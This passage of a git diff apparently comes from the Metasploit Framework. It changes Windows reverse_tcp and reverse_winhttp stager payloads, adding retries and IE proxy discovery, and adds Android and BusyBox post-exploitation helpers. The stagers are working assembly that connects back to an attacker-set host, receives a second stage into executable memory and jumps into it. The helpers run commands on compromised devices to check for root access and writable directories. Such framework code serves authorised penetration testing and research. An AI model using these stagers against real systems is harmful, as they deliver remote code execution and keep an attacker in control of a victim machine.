; server_host; server_uri is saved in edi for later - db #{encoded_url} + ^ + + if opts[:proxy_ie] == true && !proxy_enabled + asm << %Q^ + db #{encoded_full_url} got_server_host: + add edi, #{encoded_uri_index} ; move edi up to where the URI starts + ^ + else + asm << %Q^ + db #{encoded_uri} + got_server_host: + ^ + end + + asm << %Q^ push eax ; Session handle returned by WinHttpOpen push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpConnect')} call ebp @@ -275,6 +324,86 @@ module Payload::Windows::ReverseWinHttp push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetCredentials')} call ebp ^ + elsif opts[:proxy_ie] == true + asm << %Q^ + ; allocate space for WINHTTP_CURRENT_USER_IE_PROXY_CONFIG, which is + ; a 16-byte structure + sub esp, 16 + mov eax, esp ; store a pointer to the buffer + push edi ; store the current URL in case it's needed + mov edi, eax ; put the buffer pointer in edi + push edi ; Push a pointer to the buffer + push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpGetIEProxyConfigForCurrentUser')} + call ebp + + test eax, eax ; skip the rest of the proxy stuff if the call failed + jz ie_proxy_setup_finish + + ; we don't care about the "auto detect" flag, as it doesn't seem to + ; impact us at all. + + ; if auto detect isn't on, check if there's an auto configuration URL + mov eax, [edi+4] + test eax, eax + jz ie_proxy_manual + + ; restore the URL we need to reference + pop edx + sub edx, #{encoded_uri_index} ; move edx up to where the full URL starts + + ; set up the autoproxy structure on the stack + push 1 ; fAutoLogonIfChallenged (1=TRUE) + push ebx ; dwReserved (0) + push ebx ; lpReserved (NULL) + push eax ; lpszAutoConfigUrl + push #{ie_proxy_autodect} ; dwAutoDetectFlags + push #{ie_proxy_flags} ; dwFlags + mov eax, esp + + ; prepare space for the resulting proxy info structure + sub esp, 12 + mov edi, esp ; store the proxy pointer + + ; prepare the WinHttpGetProxyForUrl call + push edi ; pProxyInfo + push eax ; pAutoProxyOptions + push edx ; lpcwszUrl + lea eax, [esp+64] ; Find the pointer to the hSession - HACK! + push [eax] ; hSession + push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpGetProxyForUrl')} + call ebp + + test eax, eax ; skip the rest of the proxy stuff if the call failed + jz ie_proxy_setup_finish + jmp set_ie_proxy ; edi points to the filled out proxy structure + + ie_proxy_manual: + ; check to see if a manual proxy is specified, if not, we skip + mov eax, [edi+8] + test eax, eax + jz ie_proxy_setup_finish + + ; manual proxy present, set up the proxy info structure by patching the + ; existing current user IE structure that is in edi + push 4 + pop eax + add edi, eax ; skip over the fAutoDetect flag + dec eax + mov [edi], eax ; set dwAccessType (3=WINHTTP_ACCESS_TYPE_NAMED_PROXY) + + ; fallthrough to set the ie proxy + + set_ie_proxy: + ; we assume that edi is going to point to the proxy options + push 12 ; dwBufferLength (sizeof proxy options) + push edi ; lpBuffer (pointer to the proxy) + push 38 ; dwOption (WINHTTP_OPTION_PROXY) + push esi ; hRequest + push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetOption')} + call ebp + + ie_proxy_setup_finish: + ^ end if opts[:ssl] diff --git a/lib/msf/core/payload/windows/x64/exitfunk.rb b/lib/msf/core/payload/windows/x64/exitfunk.rb index d385fd4baa..5fab3a313f 100644 --- a/lib/msf/core/payload/windows/x64/exitfunk.rb +++ b/lib/msf/core/payload/windows/x64/exitfunk.rb @@ -33,25 +33,11 @@ module Payload::Windows::Exitfunk_x64 ret ; Return to NULL (crash) ^ - # On Windows Vista, Server 2008, and newer, it is not possible to call ExitThread - # on WoW64 processes, instead we need to call RtlExitUserThread. This stub will - # automatically generate the right code depending on the selected exit method. - when 'thread' asm << %Q^ - mov ebx, 0x#{Msf::Payload::Windows.exit_types['thread'].to_s(16)} - mov r10d, 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" ) - call rbp ; GetVersion(); (AL will = major version and AH will = minor version) - add rsp, 40 ; cleanup the default param space on stack - cmp al, 6 ; If we are not running on Windows Vista, 2008 or 7 - jl exitfunk_goodbye ; Then just call the exit function... - cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on - ; Windows Vista, 2008 or 7... - jne exitfunk_goodbye ; - mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread - exitfunk_goodbye: ; We now perform the actual call to the exit function push 0 ; pop rcx ; set the exit function parameter + mov ebx, 0x#{Msf::Payload::Windows.exit_types['thread'].to_s(16)} mov r10d, ebx ; place the correct EXITFUNK into r10d call rbp ; call EXITFUNK( 0 ); ^ diff --git a/lib/msf/core/payload/windows/x64/reflectivedllinject.rb b/lib/msf/core/payload/windows/x64/reflectivedllinject.rb index 0194d902d3..4a747a7359 100644 --- a/lib/msf/core/payload/windows/x64/reflectivedllinject.rb +++ b/lib/msf/core/payload/windows/x64/reflectivedllinject.rb @@ -71,7 +71,7 @@ module Payload::Windows::ReflectiveDllInject_x64 ^ end - def stage_payload + def stage_payload(opts = {}) # Exceptions will be thrown by the mixin if there are issues. dll, offset = load_rdi_dll(library_path) diff --git a/lib/msf/core/payload/windows/x64/reverse_http.rb b/lib/msf/core/payload/windows/x64/reverse_http.rb index a8f62b36da..1813b9922b 100644 --- a/lib/msf/core/payload/windows/x64/reverse_http.rb +++ b/lib/msf/core/payload/windows/x64/reverse_http.rb @@ -50,7 +50,6 @@ module Payload::Windows::ReverseHttp_x64 ssl: opts[:ssl] || false, host: datastore['LHOST'], port: datastore['LPORT'], - url: generate_small_uri, retry_count: datastore['StagerRetryCount'] } @@ -64,6 +63,9 @@ module Payload::Windows::ReverseHttp_x64 conf[:proxy_user] = datastore['PayloadProxyUser'] conf[:proxy_pass] = datastore['PayloadProxyPass'] conf[:proxy_type] = datastore['PayloadProxyType'] + else + # Otherwise default to small URIs + conf[:url] = generate_small_uri end generate_reverse_http(conf) diff --git a/lib/msf/core/payload/windows/x64/reverse_tcp.rb b/lib/msf/core/payload/windows/x64/reverse_tcp.rb index 6be0bfdd1b..3110f5642e 100644 --- a/lib/msf/core/payload/windows/x64/reverse_tcp.rb +++ b/lib/msf/core/payload/windows/x64/reverse_tcp.rb @@ -62,12 +62,12 @@ module Payload::Windows::ReverseTcp_x64 # def generate_reverse_tcp(opts={}) combined_asm = %Q^ - cld ; Clear the direction flag. - and rsp, 0xFFFFFFFFFFFFFFF0 ; Ensure RSP is 16 byte aligned - call start ; Call start, this pushes the address of 'api_call' onto the stack. + cld ; Clear the direction flag. + and rsp, ~0xF ; Ensure RSP is 16 byte aligned + call start ; Call start, this pushes the address of 'api_call' onto the stack. #{asm_block_api} start: - pop rbp + pop rbp ; block API pointer #{asm_reverse_tcp(opts)} ^ Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string @@ -84,11 +84,11 @@ module Payload::Windows::ReverseTcp_x64 # Start with our cached default generated size space = cached_size - # EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others) - space += 31 + # EXITFUNK 'seh' is the worst case, that adds 15 bytes + space += 15 - # Reliability adds 10 bytes for recv error checks - space += 10 + # Reliability adds bytes! + space += 57 space += uuid_required_size if include_send_uuid @@ -105,7 +105,6 @@ module Payload::Windows::ReverseTcp_x64 # def asm_reverse_tcp(opts={}) - # TODO: reliability coming later reliable = opts[:reliable] retry_count = [opts[:retry_count].to_i, 1].max encoded_port = [opts[:port].to_i,2].pack("vn").unpack("N").first @@ -114,88 +113,172 @@ module Payload::Windows::ReverseTcp_x64 asm = %Q^ reverse_tcp: - ; setup the structures we need on the stack... + ; setup the structures we need on the stack... mov r14, 'ws2_32' - push r14 ; Push the bytes 'ws2_32',0,0 onto the stack. - mov r14, rsp ; save pointer to the "ws2_32" string for LoadLibraryA call. - sub rsp, #{408+8} ; alloc sizeof( struct WSAData ) bytes for the WSAData - ; structure (+8 for alignment) - mov r13, rsp ; save pointer to the WSAData structure for WSAStartup call. + push r14 ; Push the bytes 'ws2_32',0,0 onto the stack. + mov r14, rsp ; save pointer to the "ws2_32" string for LoadLibraryA call. + sub rsp, #{408+8} ; alloc sizeof( struct WSAData ) bytes for the WSAData + ; structure (+8 for alignment) + mov r13, rsp ; save pointer to the WSAData structure for WSAStartup call. mov r12, #{encoded_host_port} - push r12 ; host, family AF_INET and port - mov r12, rsp ; save pointer to sockaddr struct for connect call + push r12 ; host, family AF_INET and port + mov r12, rsp ; save pointer to sockaddr struct for connect call + ; perform the call to LoadLibraryA... - mov rcx, r14 ; set the param for the library to load - mov r10d, 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) - call rbp ; LoadLibraryA( "ws2_32" ) + mov rcx, r14 ; set the param for the library to load + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} + call rbp ; LoadLibraryA( "ws2_32" ) + ; perform the call to WSAStartup... - mov rdx, r13 ; second param is a pointer to this stuct - push 0x0101 ; - pop rcx ; set the param for the version requested - mov r10d, 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" ) - call rbp ; WSAStartup( 0x0101, &WSAData ); + mov rdx, r13 ; second param is a pointer to this stuct + push 0x0101 ; + pop rcx ; set the param for the version requested + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')} + call rbp ; WSAStartup( 0x0101, &WSAData ); + + ; stick the retry count on the stack and store it + push #{retry_count} ; retry counter + pop r14 + + create_socket: ; perform the call to WSASocketA... - push rax ; if we succeed, rax wil be zero, push zero for the flags param. - push rax ; push null for reserved parameter - xor r9, r9 ; we do not specify a WSAPROTOCOL_INFO structure - xor r8, r8 ; we do not specify a protocol - inc rax ; - mov rdx, rax ; push SOCK_STREAM - inc rax ; - mov rcx, rax ; push AF_INET - mov r10d, 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" ) - call rbp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 ); - mov rdi, rax ; save the socket for later + push rax ; if we succeed, rax wil be zero, push zero for the flags param. + push rax ; push null for reserved parameter + xor r9, r9 ; we do not specify a WSAPROTOCOL_INFO structure + xor r8, r8 ; we do not specify a protocol + inc rax ; + mov rdx, rax ; push SOCK_STREAM + inc rax ; + mov rcx, rax ; push AF_INET + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')} + call rbp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 ); + mov rdi, rax ; save the socket for later + + try_connect: ; perform the call to connect... - push 16 ; length of the sockaddr struct - pop r8 ; pop off the third param - mov rdx, r12 ; set second param to pointer to sockaddr struct - mov rcx, rdi ; the socket - mov r10d, 0x6174A599 ; hash( "ws2_32.dll", "connect" ) - call rbp ; connect( s, &sockaddr, 16 ); - ; restore RSP so we dont have any alignment issues with the next block... - add rsp, #{408+8+8*4+32*4} ; cleanup the stack allocations + push 16 ; length of the sockaddr struct + pop r8 ; pop off the third param + mov rdx, r12 ; set second param to pointer to sockaddr struct + mov rcx, rdi ; the socket + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')} + call rbp ; connect( s, &sockaddr, 16 ); + + test eax, eax ; non-zero means failure + jz connected + + handle_connect_failure: + dec r14 ; decrement the retry count + jnz try_connect ^ + if opts[:exitfunk] + asm << %Q^ + failure: + call exitfunk + ^ + else + asm << %Q^ + failure: + push 0x56A2B5F0 ; hardcoded to exitprocess for size + call rbp + ^ + end + + asm << %Q^ + ; this lable is required so that reconnect attempts include + ; the UUID stuff if required. + connected: + ^ asm << asm_send_uuid if include_send_uuid asm << %Q^ recv: - ; Receive the size of the incoming second stage... - sub rsp, 16 ; alloc some space (16 bytes) on stack for to hold the second stage length - mov rdx, rsp ; set pointer to this buffer - xor r9, r9 ; flags - push 4 ; - pop r8 ; length = sizeof( DWORD ); - mov rcx, rdi ; the saved socket - mov r10d, 0x5FC8D902 ; hash( "ws2_32.dll", "recv" ) - call rbp ; recv( s, &dwLength, 4, 0 ); - add rsp, 32 ; we restore RSP from the api_call so we can pop off RSI next - ; Alloc a RWX buffer for the second stage - pop rsi ; pop off the second stage length - push 0x40 ; - pop r9 ; PAGE_EXECUTE_READWRITE - push 0x1000 ; - pop r8 ; MEM_COMMIT - mov rdx, rsi ; the newly recieved second stage length. - xor rcx, rcx ; NULL as we dont care where the allocation is. - mov r10d, 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) - call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + ; Receive the size of the incoming second stage... + sub rsp, 16 ; alloc some space (16 bytes) on stack for to hold the + ; second stage length + mov rdx, rsp ; set pointer to this buffer + xor r9, r9 ; flags + push 4 ; + pop r8 ; length = sizeof( DWORD ); + mov rcx, rdi ; the saved socket + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} + call rbp ; recv( s, &dwLength, 4, 0 ); + ^ + + if reliable + asm << %Q^ + ; reliability: check to see if the recv worked, and reconnect + ; if it fails + cmp eax, 0 + jle cleanup_socket + ^ + end + + asm << %Q^ + add rsp, 32 ; we restore RSP from the api_call so we can pop off RSI next + + ; Alloc a RWX buffer for the second stage + pop rsi ; pop off the second stage length + movsxd rsi, esi ; only use the lower-order 32 bits for the size + push 0x40 ; + pop r9 ; PAGE_EXECUTE_READWRITE + push 0x1000 ; + pop r8 ; MEM_COMMIT + mov rdx, rsi ; the newly recieved second stage length. + xor rcx, rcx ; NULL as we dont care where the allocation is. + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} + call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); ; Receive the second stage and execute it... - mov rbx, rax ; rbx = our new memory address for the new stage - mov r15, rax ; save the address so we can jump into it later - read_more: ; - xor r9, r9 ; flags - mov r8, rsi ; length - mov rdx, rbx ; the current address into our second stages RWX buffer - mov rcx, rdi ; the saved socket - mov r10d, 0x5FC8D902 ; hash( "ws2_32.dll", "recv" ) - call rbp ; recv( s, buffer, length, 0 ); - add rbx, rax ; buffer += bytes_received - sub rsi, rax ; length -= bytes_received - test rsi, rsi ; test length - jnz read_more ; continue if we have more to read - jmp r15 ; return into the second stage + mov rbx, rax ; rbx = our new memory address for the new stage + mov r15, rax ; save the address so we can jump into it later + + read_more: ; + xor r9, r9 ; flags + mov r8, rsi ; length + mov rdx, rbx ; the current address into our second stages RWX buffer + mov rcx, rdi ; the saved socket + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} + call rbp ; recv( s, buffer, length, 0 ); + ^ + + if reliable + asm << %Q^ + ; reliability: check to see if the recv worked, and reconnect + ; if it fails + cmp eax, 0 + jge read_successful + + ; something failed so free up memory + pop rax + push r15 + pop rcx ; lpAddress + push 0x4000 ; MEM_COMMIT + pop r8 ; dwFreeType + push 0 ; 0 + pop rdx ; dwSize + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')} + call rbp ; VirtualFree(payload, 0, MEM_COMMIT) + + cleanup_socket: + ; clean up the socket + push rdi ; socket handle + pop rcx ; s (closesocket parameter) + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')} + call rbp + + ; and try again + dec r14 ; decrement the retry count + jmp create_socket + ^ + end + + asm << %Q^ + read_successful: + add rbx, rax ; buffer += bytes_received + sub rsi, rax ; length -= bytes_received + test rsi, rsi ; test length + jnz read_more ; continue if we have more to read + jmp r15 ; return into the second stage ^ if opts[:exitfunk] diff --git a/lib/msf/core/payload/windows/x64/reverse_winhttp.rb b/lib/msf/core/payload/windows/x64/reverse_winhttp.rb index 9fe09ac40f..8c31863621 100644 --- a/lib/msf/core/payload/windows/x64/reverse_winhttp.rb +++ b/lib/msf/core/payload/windows/x64/reverse_winhttp.rb @@ -16,21 +16,29 @@ module Payload::Windows::ReverseWinHttp_x64 include Msf::Payload::Windows::ReverseHttp_x64 + # + # Register reverse_winhttp specific options + # + def initialize(*args) + super + register_advanced_options([ + OptBool.new('PayloadProxyIE', [false, 'Enable use of IE proxy settings', true]) + ], self.class) + end + # # Generate the first stage # def generate(opts={}) conf = { ssl: opts[:ssl] || false, - host: datastore['LHOST'], - port: datastore['LPORT'], - url: generate_small_uri, - retry_count: datastore['StagerRetryCount'] + host: datastore['LHOST'] || '127.127.127.127', + port: datastore['LPORT'] } # Add extra options if we have enough space unless self.available_space.nil? || required_space > self.available_space - conf[:url] = generate_uri + conf[:uri] = generate_uri conf[:exitfunk] = datastore['EXITFUNC'] conf[:verify_cert_hash] = opts[:verify_cert_hash] conf[:proxy_host] = datastore['PayloadProxyHost'] @@ -38,6 +46,11 @@ module Payload::Windows::ReverseWinHttp_x64 conf[:proxy_user] = datastore['PayloadProxyUser'] conf[:proxy_pass] = datastore['PayloadProxyPass'] conf[:proxy_type] = datastore['PayloadProxyType'] + conf[:retry_count] = datastore['StagerRetryCount'] + conf[:proxy_ie] = datastore['PayloadProxyIE'] + else + # Otherwise default to small URIs + conf[:uri] = generate_small_uri end generate_reverse_winhttp(conf) @@ -102,7 +115,7 @@ module Payload::Windows::ReverseWinHttp_x64 # Generate an assembly stub with the configured feature set and options. # # @option opts [Bool] :ssl Whether or not to enable SSL - # @option opts [String] :url The URI to request during staging + # @option opts [String] :uri The URI to request during staging # @option opts [String] :host The host to connect to # @option opts [Fixnum] :port The port to connect to # @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify, or nil @@ -114,9 +127,22 @@ module Payload::Windows::ReverseWinHttp_x64 retry_count = [opts[:retry_count].to_i, 1].max verify_ssl = nil encoded_cert_hash = nil - encoded_url = asm_generate_wchar_array(opts[:url]) + encoded_uri = asm_generate_wchar_array(opts[:uri]) encoded_host = asm_generate_wchar_array(opts[:host]) + # this is used by the IE proxy functionality when an autoconfiguration URL + # is specified. We need the full URL otherwise the call to resolve the proxy + # for the URL doesn't work. + full_url = 'http' + full_url << 's' if opts[:ssl] + full_url << '://' << opts[:host] + full_url << ":#{opts[:port]}" if opts[:ssl] && opts[:port] != 443 + full_url << ":#{opts[:port]}" if !opts[:ssl] && opts[:port] != 80 + full_url << opts[:uri] + + encoded_full_url = asm_generate_wchar_array(full_url) + encoded_uri_index = full_url.rindex('/') * 2 + if opts[:ssl] && opts[:verify_cert_hash] verify_ssl = true encoded_cert_hash = opts[:verify_cert_hash].unpack("C*").map{|c| "0x%.2x" % c }.join(",") @@ -154,6 +180,14 @@ module Payload::Windows::ReverseWinHttp_x64 http_open_flags |= 0x00800000 # WINHTTP_FLAG_SECURE end + ie_proxy_autodect = ( + 0x00000001 | # WINHTTP_AUTO_DETECT_TYPE_DHCP + 0x00000002 ) # WINHTTP_AUTO_DETECT_TYPE_DNS_A + + ie_proxy_flags = ( + 0x00000001 | # WINHTTP_AUTOPROXY_AUTO_DETECT + 0x00000002 ) # WINHTTP_AUTOPROXY_CONFIG_URL + asm = %Q^ xor rbx, rbx load_winhttp: @@ -207,7 +241,15 @@ module Payload::Windows::ReverseWinHttp_x64 push rbx ; dwFlags (0) mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpOpen')}; WinHttpOpen call rbp + ^ + if opts[:proxy_ie] == true && !proxy_enabled + asm << %Q^ + mov r12, rax ; Session handle is required later for ie proxy + ^ + end + + asm << %Q^ call load_server_host db #{encoded_host} load_server_host: @@ -219,12 +261,34 @@ module Payload::Windows::ReverseWinHttp_x64 call rbp call winhttpopenrequest - db #{encoded_url} + ^ + + if opts[:proxy_ie] == true && !proxy_enabled + asm << %Q^ + db #{encoded_full_url} + ^ + else + asm << %Q^ + db #{encoded_uri} + ^ + end + + asm << %Q^ winhttpopenrequest: mov rcx, rax ; hConnect push rbx pop rdx ; pwszVerb (NULL=GET) pop r8 ; pwszObjectName (URI) + ^ + + if opts[:proxy_ie] == true && !proxy_enabled + asm << %Q^ + mov r13, r8 ; store a copy of the URL for later + add r8, #{encoded_uri_index} ; move r8 up to where the URI stars + ^ + end + + asm << %Q^ xor r9, r9 ; pwszVersion (NULL) push rbx ; stack alignment mov rax, #{"0x%.8x" % http_open_flags} ; dwFlags @@ -268,6 +332,83 @@ module Payload::Windows::ReverseWinHttp_x64 ^ end + if opts[:proxy_ie] == true && !proxy_enabled + asm << %Q^ + ; allocate space for WINHTTP_CURRENT_USER_IE_PROXY_CONFIG, which is + ; a 32-byte structure + sub rax, 32 + mov rdi, rsp ; save a pointer to this buffer + mov rcx, rdi ; this buffer is also the parameter to the function + mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpGetIEProxyConfigForCurrentUser')} ; WinHttpGetIEProxyConfigForCurrentUser + call rbp + + test eax, eax ; skip the rest of the proxy stuff if the call failed + jz ie_proxy_setup_finish + + ; we don't care about the "auto detect" flag, as it doesn't seem to + ; impact us at all. + + ; check if there's an auto configuration URL + mov rax, [rdi+8] + test eax, eax + jz ie_proxy_manual + + ; set up the autoproxy structure on the stack and get it ready to pass + ; into the target function + mov rcx, rbx + inc rcx + shl rcx, 32 + push rcx ; dwReserved (0) and fAutoLoginIfChallenged + push rbx ; lpvReserved (NULL) + push rax ; lpszAutoConfigUrl + mov rax, #{ie_proxy_flags | ie_proxy_autodect << 32} ; dwAutoDetectFlags and dwFlags + push rax + mov r8, rsp ; put the structure in the parameter list + + ; prepare the proxy info buffer, 32 bytes required + sub rsp, 32 + mov rdi, rsp ; we'll need a pointer to this later + mov r9, rdi ; pass it as the 4th parameter + + ; rest of the parameters + mov rcx, r12 ; hSession + mov rdx, r13 ; lpcwszUrl + + ; finally make the call + mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpGetProxyForUrl')} ; WinHttpGetProxyForUrl + call rbp + + test eax, eax ; skip the rest of the proxy stuff if the call failed + jz ie_proxy_setup_finish + jmp set_ie_proxy ; rdi points to the filled out proxy structure + + ie_proxy_manual: + mov rax, [rdi+16] ; check for the manual proxy + test eax, eax + jz ie_proxy_setup_finish + + add rdi, 8 + push 3 + pop rax + mov [rdi], rax ; set dwAccessType (3=WINHTTP_ACCESS_TYPE_NAMED_PROXY) + + ; fallthrough to set the ie proxy + + set_ie_proxy: + ; we assume that rdi is going to point to the proxy options + mov r8, rdi ; lpBuffer (proxy options) + push 24 + pop r9 ; dwBufferLength (size of proxy options) + mov rcx, rsi ; hConnection (connection handle) + push 38 + pop rdx ; (38=WINHTTP_OPTION_PROXY) + mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetOption')} ; WinHttpSetOption + call rbp + + ie_proxy_setup_finish: + ^ + end + if retry_count > 1 asm << %Q^ push #{retry_count} diff --git a/lib/msf/core/post.rb b/lib/msf/core/post.rb index 98dc6ef784..1148263f8a 100644 --- a/lib/msf/core/post.rb +++ b/lib/msf/core/post.rb @@ -16,6 +16,7 @@ class Msf::Post < Msf::Module require 'msf/core/post/solaris' require 'msf/core/post/unix' require 'msf/core/post/windows' + require 'msf/core/post/android' include Msf::PostMixin diff --git a/lib/msf/core/post/android.rb b/lib/msf/core/post/android.rb new file mode 100644 index 0000000000..dbe96e2d53 --- /dev/null +++ b/lib/msf/core/post/android.rb @@ -0,0 +1,8 @@ +# -*- coding: binary -*- + +module Msf::Post::Android + + require 'msf/core/post/android/system' + require 'msf/core/post/android/priv' + +end diff --git a/lib/msf/core/post/android/priv.rb b/lib/msf/core/post/android/priv.rb new file mode 100644 index 0000000000..42d4bc09e4 --- /dev/null +++ b/lib/msf/core/post/android/priv.rb @@ -0,0 +1,35 @@ +# -*- coding: binary -*- + +require 'msf/core/post/common' +require 'msf/core/post/file' +require 'msf/core/post/unix' + +module Msf +class Post +module Android +module Priv + + include Msf::Post::Common + + public + + # Returns whether we are running as root or not. + # + # @return [Boolean] TrueClass if as root, otherwise FalseClass. + def is_root? + id = cmd_exec('id') + uid = id.scan(/uid=(\d+)(.+)/).flatten.first + if /^0$/ === uid + return true + else + return false + end + end + + private + + def get_id + cmd_exec('id') + end + +end ; end ; end ; end \ No newline at end of file diff --git a/lib/msf/core/post/android/system.rb b/lib/msf/core/post/android/system.rb new file mode 100644 index 0000000000..38f1afe4f1 --- /dev/null +++ b/lib/msf/core/post/android/system.rb @@ -0,0 +1,31 @@ +# -*- coding: binary -*- + +require 'msf/core/post/common' +require 'msf/core/post/file' +require 'msf/core/post/unix' + +module Msf +class Post +module Android +module System + + include Msf::Post::Common + include Msf::Post::File + + # Returns system information from build.prop. + # + # @return [Hash] System information. + def get_build_prop + sys_data = {} + build_prop = cmd_exec('cat /system/build.prop') + + return sys_data if build_prop.blank? + + build_prop.scan(/(.+)=(.+)/i).collect {|e| Hash[*e]}.each do |setting| + sys_data.merge!(setting) + end + + return sys_data + end + +end ; end ; end ; end \ No newline at end of file diff --git a/lib/msf/core/post/common.rb b/lib/msf/core/post/common.rb index 7f4db478d9..85e3af4d3a 100644 --- a/lib/msf/core/post/common.rb +++ b/lib/msf/core/post/common.rb @@ -49,6 +49,74 @@ module Msf::Post::Common pid_list.include?(pid) end + + # Returns the target architecture. + # You should use this instead of session.platform, because of the following reasons: + # 1. session.platform doesn't always give you an arch. For example: a shell session. + # 2. session.platform doesn't mean the target platform/arch, it means whatever the session is. + # For example: you can use a python meterpreter on a Windows platform, and you will + # get 'python/python' as your arch/platform, and not 'x86/win32'. + # + # @returns [String] The archtecture recognizable by framework's ARCH_TYPES. + def get_target_arch + arch = nil + + case session.type + when 'meterpreter' + arch = get_recognizable_arch(client.sys.config.sysinfo['Architecture']) + when 'shell' + if session.platform =~ /win/ + arch = get_recognizable_arch(get_env('PROCESSOR_ARCHITECTURE').strip) + else + arch = get_recognizable_arch(get_env('MACHTYPE').strip) + end + end + + arch + end + + + # Returns the target OS. + # You should use this instead of session.platform, because of the following reasons: + # 1. session.platform doesn't always provide a consistent OS name. For example: for a Windows + # target, session.platform might return 'win32', which isn't recognized by Msf::Module::Platform. + # 2. session.platform doesn't mean the target platform/arch, it means whatever the session is. + # For example: You can use a python meterpreter on a Windows platform, and you will get + # 'python/python', as your arch/platform, and not 'windows'. + # + # @return [String] The OS name recognizable by Msf::Module::Platform. + def get_target_os + os = nil + info = '' + + case session.type + when 'meterpreter' + info = client.sys.config.sysinfo['OS'] + when 'shell' + if session.platform =~ /win/ + info = get_env('OS').strip + else + info = cmd_exec('uname -s').strip + end + end + + case info + when /windows/i + os = Msf::Module::Platform::Windows.realname.downcase + when /darwin/i + os = Msf::Module::Platform::OSX.realname.downcase + when /freebsd/i + os = Msf::Module::Platform::FreeBSD.realname.downcase + when /GENERIC\.MP/i, /netbsd/i + os = Msf::Module::Platform::BSD.realname.downcase + else + os = Msf::Module::Platform::Linux.realname.downcase + end + + + os + end + # # Executes +cmd+ on the remote system # @@ -101,6 +169,7 @@ module Msf::Post::Common # through /bin/sh, solving all the pesky parsing troubles, without # affecting Windows. # + start = Time.now.to_i if args.nil? and cmd =~ /[^a-zA-Z0-9\/._-]/ args = "" end @@ -108,9 +177,17 @@ module Msf::Post::Common session.response_timeout = time_out process = session.sys.process.execute(cmd, args, {'Hidden' => true, 'Channelized' => true}) o = "" + # Wait up to time_out seconds for the first bytes to arrive while (d = process.channel.read) - break if d == "" - o << d + if d == "" + if (Time.now.to_i - start < time_out) && (o == '') + sleep 0.1 + else + break + end + else + o << d + end end o.chomp! if o @@ -216,5 +293,42 @@ module Msf::Post::Common nil end + private + + # Returns an architecture recognizable by ARCH_TYPES. + # + # @param [String] target_arch The arch. Example: x86 + # @return [String] One of the archs from ARCH_TYPES. + def get_recognizable_arch(target_arch) + arch = nil + + # Special handle some cases that ARCH_TYPES won't recognize. + # https://msdn.microsoft.com/en-us/library/aa384274.aspx + case target_arch + when /i[3456]86|wow64/i + return ARCH_X86 + when /(amd|ia|x)64/i + return ARCH_X86_64 + end + + # Detect tricky variants of architecture types upfront + + # Rely on ARCH_TYPES to tell us a framework-recognizable ARCH. + # Notice we're sorting ARCH_TYPES first, so that the longest string + # goes first. This step is used because sometimes let's say if the target + # is 'x86_64', and if the ARCH_X86 kicks in first, then we will get 'x86' + # instead of x86_64, which is inaccurate. + recognizable_archs = ARCH_TYPES + recognizable_archs = recognizable_archs.sort_by {|a| a.length}.reverse + recognizable_archs.each do |a| + if target_arch =~ /#{a}/ + arch = a + break + end + end + + arch + end + end diff --git a/lib/msf/core/post/linux.rb b/lib/msf/core/post/linux.rb index b056fff87c..520bdd2147 100644 --- a/lib/msf/core/post/linux.rb +++ b/lib/msf/core/post/linux.rb @@ -2,4 +2,5 @@ module Msf::Post::Linux require 'msf/core/post/linux/priv' require 'msf/core/post/linux/system' + require 'msf/core/post/linux/busy_box' end diff --git a/lib/msf/core/post/linux/busy_box.rb b/lib/msf/core/post/linux/busy_box.rb new file mode 100644 index 0000000000..1f7d6d2749 --- /dev/null +++ b/lib/msf/core/post/linux/busy_box.rb @@ -0,0 +1,110 @@ +# -*- coding: binary -*- + +require 'msf/core' + +module Msf +class Post +module Linux +module BusyBox + + include ::Msf::Post::Common + include ::Msf::Post::File + + # Checks if the file exists in the target + # + # @param file_path [String] the target file path + # @return [Boolean] true if files exists, false otherwise + # @note Msf::Post::File#file? doesnt work because test -f is not available in busybox + def busy_box_file_exist?(file_path) + contents = read_file(file_path) + if contents.nil? || contents.empty? + return false + end + + true + end + + # Checks if the directory is writable in the target + # + # @param dir_path [String] the target directory path + # @return [Boolean] true if target directory is writable, false otherwise + def busy_box_is_writable_dir?(dir_path) + res = false + rand_str = Rex::Text.rand_text_alpha(16) + file_path = "#{dir_path}/#{rand_str}" + + cmd_exec("echo #{rand_str}XXX#{rand_str} > #{file_path}") + Rex::sleep(0.3) + rcv = read_file(file_path) + + if rcv.include?("#{rand_str}XXX#{rand_str}") + res = true + end + + cmd_exec("rm -f #{file_path}") + Rex::sleep(0.3) + + res + end + + # Checks some directories that usually are writable in devices running busybox + # @return 